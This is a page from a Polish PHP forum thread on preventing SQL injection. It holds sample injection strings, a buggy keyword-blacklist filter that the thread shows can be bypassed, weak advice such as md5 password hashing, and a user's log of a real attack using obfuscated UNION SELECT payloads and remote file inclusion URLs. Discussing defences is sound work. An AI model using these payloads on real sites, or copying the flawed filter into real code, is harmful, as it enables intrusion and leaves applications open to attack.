Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

22 Stron V  « < 10 11 12 13 14 > »   
Reply to this topicStart new topic
> SQL Injection/Insertion, Jak zapobiec włamaniu na stronę.
mlattari
post
Post #221





Grupa: Zarejestrowani
Postów: 79
Pomógł: 3
Dołączył: 23.12.2008
Skąd: Piaseczno

Ostrzeżenie: (0%)
-----


:-) No to jasne, że można :-) ale chodzi mi o zabezpieczenie przed wpisywaniem przez 'szarego' użytkownika eksperymantalnych wartości w pasku url :-)

np. jeżeli jesteśmy na stronce https://sklep.jakistamsklep.pl/lista_1.php?...&toitamto=2

to już nie będzie można sobie wpisać wartosci wyswietl i toitamto ręcznie po zastosowaniu tego o czym mowa :-)





A czy ktoś się orientuje czy w zapobieganiu MySql Injection ma jakieś znaczenie to, czy treść zapytania MySql jest zakończona w php średnikiem ?

czyli

  1. <?php
  2. $wynik=mysql_query( "select name from users;" );
  3. ?>


zamiast

  1. <?php
  2. $wynik=mysql_query( "select name from users" );
  3. ?>


?
Go to the top of the page
+Quote Post
Orkan
post
Post #222





Grupa: Zarejestrowani
Postów: 55
Pomógł: 4
Dołączył: 19.05.2003
Skąd: Gdańsk

Ostrzeżenie: (0%)
-----


a od kiedy zapytanie w mysql_query() konczy sie srednikiem?
Go to the top of the page
+Quote Post
mlattari
post
Post #223





Grupa: Zarejestrowani
Postów: 79
Pomógł: 3
Dołączył: 23.12.2008
Skąd: Piaseczno

Ostrzeżenie: (0%)
-----


zapytania MySql kończy się średnikiem :-) a w mysql_query teoretycznie też można więc ciekawi mnie czy ten średnik w mysql_query mógłby np. czemuś zapobiec (np. dołączeniu UNION SELECT) czy raczej nie :-) Zwyczjnie nie wiem to pytam :-)

Ten post edytował mlattari 28.02.2009, 13:40:55
Go to the top of the page
+Quote Post
bełdzio
post
Post #224





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


";" oznacza ze dane zapytanie zostalo zakonczone, w przypadku "zwyklych" selektow, insertow etc nie ma znaczenia czy dasz ; czy nie

co do uzycia ";" jako obranie przed union select to sprawa jest jasna (IMG:http://forum.php.pl/style_emoticons/default/smile.gif) wszystko co wstrzykujesz leci przed ; tak wiec nic on nie da (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)
Go to the top of the page
+Quote Post
mlattari
post
Post #225





Grupa: Zarejestrowani
Postów: 79
Pomógł: 3
Dołączył: 23.12.2008
Skąd: Piaseczno

Ostrzeżenie: (0%)
-----


no racja... ja jakoś lubię te średniki tam wstawiać ale to chyba zboczenie od klienta mysql.... :-|

A czy ktoś może wie czy jest możliwy atak MySql Injection na zmienne przekazywane przez $_POST[] poprzez listy wyboru typu <SELECT>, w których są ustawione sztywne wartości. Czy da się jakoś manewrować tymi zmiennymi, tak żeby udało się tam coś wstrzyknąć? Chodzi mi o to czy też trzeba zabezpieczać się w przypadku zastosowania list wyboru typy <SELECT> ze sztywnymi wartościami.
Np. <option selected>1: Wybór1</option>. W takim przypadku odcinam sobie to co przed znakiem : czyli 1. Czy ktoś byłby w stanie coś tam podpiąć żeby i to trafiło do MySql?

Ten post edytował mlattari 1.03.2009, 18:41:37
Go to the top of the page
+Quote Post
bełdzio
post
Post #226





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


trzeba, kod HTML może być dowolnie zmodyfikowany, odpal sobie FireBug`a ( wtyczka do FireFoxa) i popatrz sobie jak latwo mozna zmanipulowac kod HTML
Go to the top of the page
+Quote Post
mlattari
post
Post #227





Grupa: Zarejestrowani
Postów: 79
Pomógł: 3
Dołączył: 23.12.2008
Skąd: Piaseczno

Ostrzeżenie: (0%)
-----


hmm dzięki! to dobrze wiedzieć!
Go to the top of the page
+Quote Post
megawebmaster
post
Post #228





Grupa: Zarejestrowani
Postów: 143
Pomógł: 17
Dołączył: 8.11.2008
Skąd: Libiąż

Ostrzeżenie: (0%)
-----


Te wartości, które masz stałe, np. tak jak w przypadku tej jedynki najłatwiej obsłużyć przez switch'a - nie ma możliwości innych wartości, bo PHP to wybije na default'ową wartość (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg) Oczywiście wada jest taka, że jest to bezpośrednio w kodzie, co zmniejsza elastyczność, ale coś za coś mówią (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg)
Go to the top of the page
+Quote Post
thomson89
post
Post #229





Grupa: Zarejestrowani
Postów: 1 178
Pomógł: 51
Dołączył: 7.01.2009
Skąd: Gdańsk

Ostrzeżenie: (0%)
-----


Nie wiem jak wam, ale jak przepuściłem przez mój system login wyszło:

Kod
\', haslo=\'nowe_haslo\' id = 1


I myślę że to dobry sposób, jezei doda się wszystkie komendy sql (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)
  1. <?php
  2. $niebezpiecznyciag = "', haslo='nowe_haslo' WHERE id = 1 ALTER DATBASE";
  3.  
  4. //KROK 1
  5. $trochebezpiecznyciag = addslashes($niebezpiecznyciag);
  6. echo $trochebezpiecznyciag.'<br>';
  7.  
  8. //KROK 2
  9. $zle = array('WHERE', 'LIKE', 'INSERT', 'DELETE', 'FROM', 'ALTER');
  10. if(strstr($trochebezpiecznyciag, 'WHERE') || strstr($ciag, 'LIKE') || strstr($ciag, 'INSERT') || strstr($ciag, 'DELETE') || strstr($ciag, 'FROM') || strstr($ciag, 'ALTER')){
  11.    $bezpiecznyciag = str_replace($zle, '', $trochebezpiecznyciag);
  12.    //jezeli wykryta proba wlamania caly ciag jest podejrzany
  13.    $bardzobezpiecznyciag = sha1($bezpiecznyciag);
  14.    echo $bezpiecznyciag.'<br>';
  15.    echo $bardzobezpiecznyciag;
  16.  
  17. }
  18. ?>


Jeżeli zostanie wykryta jakakolwiek proba wlamania sie to konserwujemy caly ciag. Mozna tez uzyc czego innego i potem to odmieszać i sprawdzic co uzyszkodnicy chieli nam zrobic.

I mam pytanie czy przy if, nie można jakos inaczej porownac? if strstr(ciag, tablica) (IMG:http://forum.php.pl/style_emoticons/default/questionmark.gif)

Ten post edytował thomson89 21.03.2009, 19:53:41
Go to the top of the page
+Quote Post
Mephistofeles
post
Post #230





Grupa: Zarejestrowani
Postów: 1 182
Pomógł: 115
Dołączył: 4.03.2009
Skąd: Myszków

Ostrzeżenie: (0%)
-----


A po co tak wydziwiać? Jeśli stringa trzymasz w cudzysłowach/apostrofach to MySQL nawet nie spojrzy na żadne słowo kluczowe.
Go to the top of the page
+Quote Post
erix
post
Post #231





Grupa: Moderatorzy
Postów: 15 467
Pomógł: 1451
Dołączył: 25.04.2005
Skąd: Szczebrzeszyn/Rzeszów




Cytat
I mam pytanie czy przy if, nie można jakos inaczej porownac? if strstr(ciag, tablica)

in_array" title="Zobacz w manualu PHP" target="_manual
Go to the top of the page
+Quote Post
thomson89
post
Post #232





Grupa: Zarejestrowani
Postów: 1 178
Pomógł: 51
Dołączył: 7.01.2009
Skąd: Gdańsk

Ostrzeżenie: (0%)
-----


Cytat(Mephistofeles)
A po co tak wydziwiać? Jeśli stringa trzymasz w cudzysłowach/apostrofach to MySQL nawet nie spojrzy na żadne słowo kluczowe.


@Mephistofeles, jak ktos tam kilka stron wcześniej powiedział: Trzeba przygotować się na najgorsze.

z in array nie dziala

  1. <?php
  2. if(in_array($trochebezpiecznyciag, $zlo))
  3. ?>


to nie znajduje ciagu where i warunek nie spełniony...

Ten post edytował thomson89 21.03.2009, 20:29:28
Go to the top of the page
+Quote Post
erix
post
Post #233





Grupa: Moderatorzy
Postów: 15 467
Pomógł: 1451
Dołączył: 25.04.2005
Skąd: Szczebrzeszyn/Rzeszów




To najlepiej siedzieć przy kompie i każde żądanie użytkownika przeglądać osobiście.

Przeczytaj cały ten wątek, od początku, dopiero potem zadawaj pytania. (IMG:http://forum.php.pl/style_emoticons/default/tongue.gif)
Go to the top of the page
+Quote Post
bełdzio
post
Post #234





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


@thomson89 kiedys na swoim rozowym blogasku pisalem, ze w wiekszosci przypadkow pisanie wlasnego systemu filtracji nie ma sensu, bo zawsze cos sie spieprzy ;-) co prawda nie czytalem dokladnie Twojego kodu, ale smiem twierdzic ze "SELECT * FROM tab;" potraktuje jako probe SQLi, a co z "SELECT * FR/**/OM tab;" ?

przy okazji mozesz rzucic okiem na http://www.beldzio.com/zabezpieczenie-mlek...-miodem-plynace
Go to the top of the page
+Quote Post
escobar1983
post
Post #235





Grupa: Zarejestrowani
Postów: 198
Pomógł: 0
Dołączył: 31.01.2008

Ostrzeżenie: (0%)
-----


Jakie sa mozliwości włamania na mojej stronie?
Nie mam zadnego formularza rejestracji, uzytkownik moze jedynie przegladac swoj profil bez edycji danych. Jest to strona z przedmiotu logistyka gdzie umieszczone sa testy sprawdzajaca wiedze z tej problematyki. W polach do logowania uzytkownik moze podawac tylko liczy i litery zadnych kropek itp. Uzywam md5 do hashowania hasel. W kazdej stronie sa wstawione warunki na temat czy osoba ma prawo zagladania do danej strony. Jedyne miejsce gdzie uzytkownik moze cos wspisac to formularz kontaktowy do wysylania maili. Gdy jestemy zalogowani ustawiana jest zmienna $_SESSION['login'] a gdy admin to $_SESSION['admin']
Go to the top of the page
+Quote Post
bełdzio
post
Post #236





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


nie widzac kodu zbyt wiele nie da sie powiedziec (IMG:http://forum.php.pl/style_emoticons/default/smile.gif) jesli filtrujesz wszystko co nalezy i jak nalezy powinno byc ok
Go to the top of the page
+Quote Post
rzymek01
post
Post #237





Grupa: Zarejestrowani
Postów: 592
Pomógł: 62
Dołączył: 3.08.2006

Ostrzeżenie: (0%)
-----


pamietaj, że istnieje zatruwanie sesji, więc nie opieraj się tylko i wyłącznei na istnieniu danej zmiennej sesyjnej, możesz sprawdzić ip itp.
Go to the top of the page
+Quote Post
thomson89
post
Post #238





Grupa: Zarejestrowani
Postów: 1 178
Pomógł: 51
Dołączył: 7.01.2009
Skąd: Gdańsk

Ostrzeżenie: (0%)
-----


A czy najlepszym zabezpieczeniem nie byłoby sprawdzenie czy ciąg zawiera znak " ; " (IMG:http://forum.php.pl/style_emoticons/default/questionmark.gif)
Go to the top of the page
+Quote Post
erix
post
Post #239





Grupa: Moderatorzy
Postów: 15 467
Pomógł: 1451
Dołączył: 25.04.2005
Skąd: Szczebrzeszyn/Rzeszów




Tak? To ja wpiszę login:
Kod
' WHERE 1=1


(IMG:http://forum.php.pl/style_emoticons/default/tongue.gif)

Przeczytaj, co do tej pory się naprodukowaliśmy, bo zaczyna wątek kołować.
Go to the top of the page
+Quote Post
Rutilius
post
Post #240





Grupa: Zarejestrowani
Postów: 1
Pomógł: 0
Dołączył: 30.05.2009

Ostrzeżenie: (0%)
-----


Mam pytanie, przepraszam, jeśli w złym wątku, ale wydaje mi się, że na temat.
Ostatnio na moją stronę próbowano dokonać ataku tego typu (sądzę, że się nie powiodło). Nie rozumiem, co ten ktoś/coś próbował zrobić. Gdyby ktoś mógł mi to wytłumaczyć, to może byłoby to z pożytkiem dla innych (ilustracja do tematu)?
Wyglądało to tak (dane mam ze sprytnego skryptu rejestrującego wejścia na stronę - dotyczy więc GET)
Najpierw ktoś w adresie próbował w jedną ze zmiennych wstawić adres (nie będę mu robił reklamy, więc wyiksowałem)
moja_strona.pl?art=newsy&k=http://www.xxxxxxxxx.com/layout/oxiqade/jokihi/
Potem próbował tak
moja_strona.pl?art=newsy&k=3/**/union/**/select/
**/0x6A7573745F615F746573745F315F305F305F736C6173685F315F3C3F706870206563686F286D64
528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F6A6174657374362
7068702
Potem jeszcze kilkanaście takich prób, z tym, że przed tym dziwnym ciągiem dodawał coraz więcej null,
**/union/**/select/**/null,
...
/**/union/**/select/**/null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,
ull,null,null,null,null,null,null,null,null,null,
Potem zmienił taktykę, i dodawał nawias
?art=newsy&k=3) union select 0x6A7573745F615F746573745F315F305F315F6461736 bleble
potem trochę pochodził po stronie,
spróbował jeszcze z linkiem
?p=http://www.xxxxxxxxxxx.kz/templates_c/omoj/suju/
i sobie poszedł. Całośc trwała 3 minuty.
Czy to było niebezpieczne?
Mam nadzieję, że się zbytnio nie ośmieszam tym pytaniem.
Go to the top of the page
+Quote Post

22 Stron V  « < 10 11 12 13 14 > » 
Reply to this topicStart new topic
3 Użytkowników czyta ten temat (3 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 24.08.2025 - 00:07